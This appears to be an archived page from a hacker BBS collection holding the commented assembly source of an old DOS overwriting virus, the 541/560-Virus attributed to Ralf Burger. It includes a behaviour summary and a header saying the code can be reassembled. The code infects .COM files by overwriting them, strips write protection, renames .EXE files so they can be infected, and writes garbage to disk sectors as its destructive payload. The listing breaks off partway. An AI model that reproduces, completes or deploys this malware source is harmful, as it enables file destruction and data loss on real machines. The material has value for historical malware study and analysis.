home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / 560.ASM < prev    next >
Assembly Source File  |  1992-05-21  |  24KB  |  465 lines

  1. ;****************************************************************************;
  2. ;                                                                            ;
  3. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  4. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  5. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  6. ;                     -=]                            [=-                     ;
  7. ;                     -=] For All Your H/P/A/V Files [=-                     ;
  8. ;                     -=]    SysOp: Peter Venkman    [=-                     ;
  9. ;                     -=]                            [=-                     ;
  10. ;                     -=]      +31.(o)79.426o79      [=-                     ;
  11. ;                     -=]  P E R F E C T  C R I M E  [=-                     ;
  12. ;                     -=][][][][][][][][][][][][][][][=-                     ;
  13. ;                                                                            ;
  14. ;                    *** NOT FOR GENERAL DISTRIBUTION ***                    ;
  15. ;                                                                            ;
  16. ; This File is for the Purpose of Virus Study Only! It Should not be Passed  ;
  17. ; Around Among the General Public. It Will be Very Useful for Learning how   ;
  18. ; Viruses Work and Propagate. But Anybody With Access to an Assembler can    ;
  19. ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding     ;
  20. ; Experience can Turn it Into a far More Malevolent Program Than it Already  ;
  21. ; Is. Keep This Code in Responsible Hands!                                   ;
  22. ;                                                                            ;
  23. ;****************************************************************************;
  24.   
  25. PAGE  70,120
  26.   
  27. ;;██████████████████████████████████████████████████████████████████████████
  28. ;;██                                                                      ██
  29. ;;██         Name Virus: 541-Virus                          14 Sept 1990  ██
  30. ;;██    Suggested Alias: NOP-Virus                                        ██
  31. ;;██            Variant: 537-Virus, 560-Virus                             ██
  32. ;;██                                                                      ██
  33. ;;██      Last Reported: September 1990                                   ██
  34. ;;██         'Isolated': The Hague, The Netherlands                       ██
  35. ;;██                 by: Righard Zwienenberg 2:512/2.3@fidonet            ██
  36. ;;██                                                                      ██
  37. ;;██              Author: Ralf Burger in 1986 for his book:               ██
  38. ;;██                      VIRUSES, A HIGH TECHNICAL DISEASE               ██
  39. ;;██                                                                      ██
  40. ;;██                                                                      ██
  41. ;;██  The code of this virus was built into a MOVE-util. It was imple-    ██
  42. ;;██  mented wrong. The virus went straight to the destruction code.      ██
  43. ;;██  I've taken the code out and reconstructed it to its original        ██
  44. ;;██  form. Because I had a listing of Ralf Burger's book I have placed   ██
  45. ;;██  his own comments behind the code, although I've translated it into  ██
  46. ;;██  English. The labels used, are also his.                             ██
  47. ;;██                                                                      ██
  48. ;;██  I've put three comments myself in the code. These can be recog-     ██
  49. ;;██  nized by the starting ;; of it.                                     ██
  50. ;;██                                                                      ██
  51. ;;██  Edwin Cleton, the one who send me the MOVE util for examination     ██
  52. ;;██  downloaded it from a BBS. So far there are no damage reports.       ██
  53. ;;██  The move-util checked the system's date. If the date is 1 Aug       ██
  54. ;;██  or later of any year, the virus was called.                         ██
  55. ;;██                                                                      ██
  56. ;;██████████████████████████████████████████████████████████████████████████
  57. ;;██                                                                      ██
  58. ;;██ This sourcelisting can be recompiled with MASM 4.0+ and A86. For     ██
  59. ;;██ compilation with A86 you must specify 'conta' and 'disks' as a word  ██
  60. ;;██ else the definition will conflict with what A86 previously thinks.   ██
  61. ;;██                                                                      ██
  62. ;;██████████████████████████████████████████████████████████████████████████
  63. ;;██                                                                      ██
  64. ;;██ Virus-Description:                                                   ██
  65. ;;██ ------------------                                                   ██
  66. ;;██                                                                      ██
  67. ;;██ The virus infects the first COM-file in the ROOT-Directory. The      ██
  68. ;;██ virus overwrites the first 230h bytes of the file. When an infected  ██
  69. ;;██ file is executed it will infect one other .COM-file. The system will ██
  70. ;;██ crash mostly afterwards because the overwritten part is not stored.  ██
  71. ;;██ When COMMAND.COM is infected on the HDU, the system will not reboot  ██
  72. ;;██ because COMMAND.COM is complete. Each reboot COMMAND.COM will infect ██
  73. ;;██ one other .COM-File and the computer crashes. When all .COM-files    ██
  74. ;;██ are infected, .EXE-files will be renamed (FCB) to .COM to become     ██
  75. ;;██ infected. When all .COM and .EXE-files are infected, the virus will  ██
  76. ;;██ write to sectors on disk depending on the system's time.             ██
  77. ;;██ The infected files are lost en must be replaced by backup-copies.    ██
  78. ;;██                                                                      ██
  79. ;;██ The shortest size an infected file can be is 230h bytes. The code is ██
  80. ;;██ shorter, but this is the value which has been put into the code as   ██
  81. ;;██ the virus-length.                                                    ██
  82. ;;██                                                                      ██
  83. ;;██████████████████████████████████████████████████████████████████████████
  84.   
  85.  
  86. Code            Segment
  87.                 Assume   CS:Code
  88. progr           equ      100h
  89.                 org      progr
  90.   
  91. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  92. ; The three NOP's are set as a identifier for the virus. This way
  93. ; the virus knows this copy is already infected.
  94. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  95.   
  96. MAIN:
  97.                 nop
  98.                 nop
  99.                 nop
  100.         
  101. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  102. ; Init the Pointers
  103. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  104.  
  105.                 mov        ax,0
  106.                 mov        es:[pointer],ax                
  107.                 mov        es:[counter],ax                
  108.                 mov        es:[disks],al                 
  109.  
  110. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  111. ; Get actual diskdrive
  112. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  113.  
  114.                 mov        ah,19h                   ; drive?
  115.                 int        21h                        
  116.                                                 
  117. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  118. ; Get actual path
  119. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  120.  
  121.                 mov        cs:drive,al              ; save drive
  122.                 mov        ah,47h                   ; dir?
  123.                 mov        dh,0
  124.                 add        al,1
  125.                 mov        dl,al                    ; in actual drive?
  126.                 lea        si,cs:old_path       
  127.                 int        21h                  
  128.  
  129. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  130. ; Get actual number of present diskdrives.If only one diskdrive is present,
  131. ; the pointer for 'search_order' will transfered to 'search_order + 6'
  132. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  133.  
  134.                 mov        ah,0Eh                   ; how many disks
  135.                 mov        dl,0
  136.                 int        21h                            
  137.                 mov        al,1
  138.                 cmp        al,1                     ; one drive?
  139.                 jne        hups3                
  140.                 mov        al,6
  141. hups3:
  142.                 mov        ah,0
  143.                 lea        bx,cs:search_order   
  144.                 add        bx,ax
  145.                 add        bx,1
  146.                 mov        cs:pointer,bx        
  147.                 clc                             
  148.  
  149. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  150. ; The carry-flag is set if the search will find no more .COM-files. To do
  151. ; it the easy way, all .EXE-files will get the .COM-extention to become
  152. ; infected. This will result in an error if the executed .EXE is to big.
  153. ; The error-message 'Program too big to fit in memory' will be the result.
  154. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  155.  
  156. change_disk:
  157.                 jnc        no_name_change       
  158.                 mov        ah,17h                   ; change exe to com
  159.                 lea        dx,cs:mask_exe       
  160.                 int        21h                  
  161.                 cmp        al,0FFh
  162.                 jnz        no_name_change           ; .EXE found?
  163.  
  164. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  165. ; When no .COM or .EXE-files are found, sectors will be overwritten, 
  166. ; depending from the system's time in the  msec-range. This is the moment
  167. ; that the entire disk is infected. 'VIRUS' can not infect any more and
  168. ; starts the destruction.
  169. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  170.  
  171.                 mov        ah,2Ch                   ; read system clock
  172.                 int        21h                  
  173.                 mov        bx,cs:pointer         
  174.                 mov        al,cs:[bx]
  175.                 mov        bx,dx
  176.                 mov        cx,2
  177.                 mov        dh,0
  178.                 int        26h                      ; Write shit on disk
  179.  
  180. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  181. ; Test if the end of the seek-procedure or of the table has been reached.
  182. ; If so: end.
  183. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  184.  
  185. no_name_change:
  186.                 mov        bx,cs:pointer               
  187.                 dec        bx
  188.                 mov        cs:pointer,bx                
  189.                 mov        dl,cs:[bx]
  190.                 cmp        dl,0FFh
  191.                 jnz        hups2                
  192.                 jmp        hops                 
  193.  
  194. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  195. ; Get new disk from the list with search orders and make it the actual one.
  196. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  197.  
  198. hups2:
  199.                 mov        ah,0Eh
  200.                 int        21h                      ; change disk
  201.  
  202. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  203. ; Start at the ROOT-Directory.
  204. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  205.  
  206.                 mov        ah,3Bh                   ; change path
  207.                 lea        dx,cs:path           
  208.                 int        21h                  
  209.                 jmp        find_first_file
  210.  
  211. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  212. ; Starting from the ROOT-dir, search for the first sub-dir. Previous change
  213. ; all .EXE-files into .COM-files in the old directory.
  214. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  215.  
  216. find_first_subdir:
  217.                 mov        ah,17h                    ; change exe to com
  218.                 lea        dx,cs:mask_exe        
  219.                 int        21h                        
  220.                 mov        ah,3Bh                    ; use root dir
  221.                 lea        dx,cs:path            
  222.                 int        21h                   
  223.                 mov        ah,4Eh                    ; search for first subdir
  224.                 mov        cx,11h                    ; dir mask
  225.                 lea        dx,cs:mask_dir        
  226.                 int        21h                   
  227.                 jc         change_disk            
  228.                 mov        bx,cs:counter         
  229.                 inc        bx
  230.                 dec        bx
  231.                 jz         use_next_subdir       
  232.  
  233. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  234. ; Search for the next sub-dirs. Change to other drive if no sub-dir is
  235. ; found.
  236. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  237.  
  238. find_next_subdir:
  239.                 mov        ah,4Fh                   ; search for next sub-dir.
  240.                 int        21h                  
  241.                 jc         change_disk                
  242.                 dec        bx
  243.                 jnz        find_next_subdir        
  244.  
  245. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  246. ; Change found sub-dir in actual one.
  247. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  248.  
  249. use_next_subdir:
  250.                 mov        ah,2Fh                   ; get dta address
  251.                 int        21h                  
  252.                 add        bx,1Ch
  253.                 mov        word ptr es:[bx],'\'     ; address of name in dta 
  254.                 inc        bx
  255.                 push        ds
  256.                 mov        ax,es
  257.                 mov        ds,ax
  258.                 mov        dx,bx
  259.                 mov        ah,3Bh                   ; change path
  260.                 int        21h                  
  261.                 pop        ds
  262.                 mov        bx,cs:counter         
  263.                 inc        bx
  264.                 mov        cs:counter,bx         
  265.  
  266. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  267. ; Search first .COM-file in the actual directory. If no .COM-files present,
  268. ; search the next directory.
  269. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  270.  
  271. find_first_file:
  272.                 mov        ah,4Eh                   ; search for first
  273.                 mov        cx,1                     ; mask
  274.                 lea        dx,cs:mask_com       
  275.                 int        21h                  
  276.                 jc         find_first_subdir                       
  277.                 jmp        short check_if_ill              
  278.  
  279. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  280. ; If the file is already infected, search next file.
  281. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  282.  
  283. find_next_file:
  284.                 mov        ah,4Fh                   ; search for next
  285.                 int        21h                  
  286.                 jc        find_first_subdir     
  287.  
  288. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  289. ; Test on infection.
  290. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  291.  
  292. check_if_ill:
  293.                 mov        ah,3Dh                   ; open channel
  294.                 mov        al,2                     ; read/write
  295.                 mov        dx,9Eh                   ; address of name in dta
  296.                 int        21h                  
  297.                 mov        bx,ax                    ; save channel
  298.                 mov        ah,3Fh                   ; read file
  299.                 mov        cx,buflen
  300.                 mov        dx,buffer                ; write in buffer
  301.                 int        21h                  
  302.                 mov        ah,3Eh                   ; close file
  303.                 int        21h                  
  304.  
  305. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  306. ; Test if the three NOPs of 'VIRUS' are present. If so, the file is already
  307. ; infected, continue searching.
  308. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  309.  
  310.                 mov        bx,cs:[buffer]        
  311.                 cmp        bx,9090h
  312.                 jz         find_next_file          
  313.  
  314. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  315. ; Erase the write-protection attribute from MS-DOS.
  316. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  317.  
  318.                 mov        ah,43h                   ; write enable
  319.                 mov        al,0
  320.                 mov        dx,9Eh                   ; address of name in dta
  321.                 int        21h                  
  322.                 mov        ah,43h               
  323.                 mov        al,1
  324.                 and        cx,0FEh
  325.                 int        21h                  
  326.  
  327. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  328. ; Open file for writing/reading.
  329. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  330.  
  331.                 mov        ah,3Dh                   ; open channel
  332.                 mov        al,2                     ; read/write
  333.                 mov        dx,9Eh                   ; address of name in dta
  334.                 int        21h                  
  335.  
  336. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  337. ; Store date of file for later use.
  338. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  339.  
  340.                 mov        bx,ax                    ; channel
  341.                 mov        ah,57h                   ; get date
  342.                 mov        al,0
  343.                 int        21h                  
  344.                 push        cx                      ; save data
  345.                 push        dx
  346.  
  347. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  348. ; Save the original jump from program.
  349. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  350.  
  351.                 mov        dx,cs:[conta]            ; save old jmp
  352.                 mov        cs:[jmpbuf],dx        
  353.                 mov        dx,cs:[buffer+1]         ; save new jump
  354.                 lea        cx,cs:cont-100h                
  355.                 sub        dx,cx
  356.                 mov        cs:[conta],dx               
  357.  
  358. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  359. ; 'VIRUS' copies itself to the beginning of a file.
  360. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  361.  
  362.                 mov        ah,40h                   ; write virus
  363.                 mov        cx,buflen                ; length buffer
  364.                 lea        dx,main                  ; write virus
  365.                 int        21h                  
  366.  
  367. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  368. ; Restore the old file-date.
  369. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  370.  
  371.                 mov        ah,57h                   ; write date
  372.                 mov        al,1
  373.                 pop        dx
  374.                 pop        cx                       ; restore date
  375.                 int        21h                  
  376.  
  377. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  378. ; Close file.
  379. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  380.  
  381.                 mov        ah,3Eh                   ; close file
  382.                 int        21h                  
  383.  
  384. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  385. ; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump
  386. ; which was at the beginning of the host-program. This will keep the host-
  387. ; program as much executable as possible. After storing the address, it 
  388. ; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the 
  389. ; work-memory of the program.
  390. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  391.  
  392.                 mov        dx,cs:[jmpbuf]           ; restore old jmp
  393.                 mov        cs:[conta],dx         
  394. hops:
  395.                 nop
  396.                 call        use_old                        
  397.  
  398. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  399. ; Continue the execution of the host-program.
  400. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  401.  
  402.  
  403. cont            db          0e9h
  404. conta           dw          0
  405.                 mov         ah,00
  406.                 int         21h
  407.  
  408. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  409. ; Activate the diskdrive choosen at the entry of the program.
  410. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  411.  
  412. use_old:
  413.                 mov        ah,0eh                   ; use old drive
  414.                 mov        dl,cs:drive
  415.                 int        21h                        
  416.     
  417. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  418. ; Activate the path choosen at the entry of the program.
